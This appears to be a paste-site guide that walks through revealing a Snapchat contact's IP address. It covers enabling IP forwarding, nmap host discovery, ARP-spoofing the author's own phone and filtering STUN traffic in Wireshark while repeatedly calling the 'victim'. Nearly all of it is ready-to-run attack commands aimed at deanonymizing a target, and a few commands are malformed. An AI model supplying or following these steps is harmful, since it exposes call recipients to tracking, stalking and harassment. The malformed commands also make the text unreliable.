Here is some things you will need in order to make this work:
Requirements: - Mac OS X / Kali linux ( or any UNIX )

  1. Fire up terminal and ip forward your laptop/pc with this scripts:

On Kali:
Code:
[code]
sudo sysctl net.ipv4.ip_forward = 1
sudo net.ipv4.ip_forward = 1
[/code]

On Mac:
Code:
[code]
sudo sysctl -w net.inet.ip.forwarding=1
[/code]

  1. Find your phone device local ip and write it down.
    Code:
    [code]
    nmap -sn (or -sP) <gateway ip>/24
    [/code]

Example:
Code:
[code]
nmap -sn 192.168.0.1/24
[/code]

  1. Spoof your phone.
    Code:
    [code]
    arpspoof -i -t gateway
    [/code]

Example:
Code:
[code]

[code]
arpspoof -i en0 -t 192.168.0.160 192.168.0.1
[/code]
[/code]
Sometimes you need to reverse arpspoof aswell so to be safe, switch gateway with phone ip:
Code:
[code]

[code]
arpspoof -i en0 -t 192.168.0.1 192.168.0.160
[/code]
[/code]

  1. Fire up Wireshark and filter on your phone ip with STUN protocol
    Code:
    [code]
    ip.addr == <phone ip> && stun
    [/code]

Example:
Code:
[code]

[code]
ip.addr == 192.168.0.160 && stun
[/code]
[/code]

  1. Call your victim on snap and keep calling him for around 5 seconds.
    Wireshark should throw up some binding requests, then some other STUN ones.
    Those last ones are your victim's ip.
Edit

Pub: 08 Sep 2025 18:15 UTC

Views: 71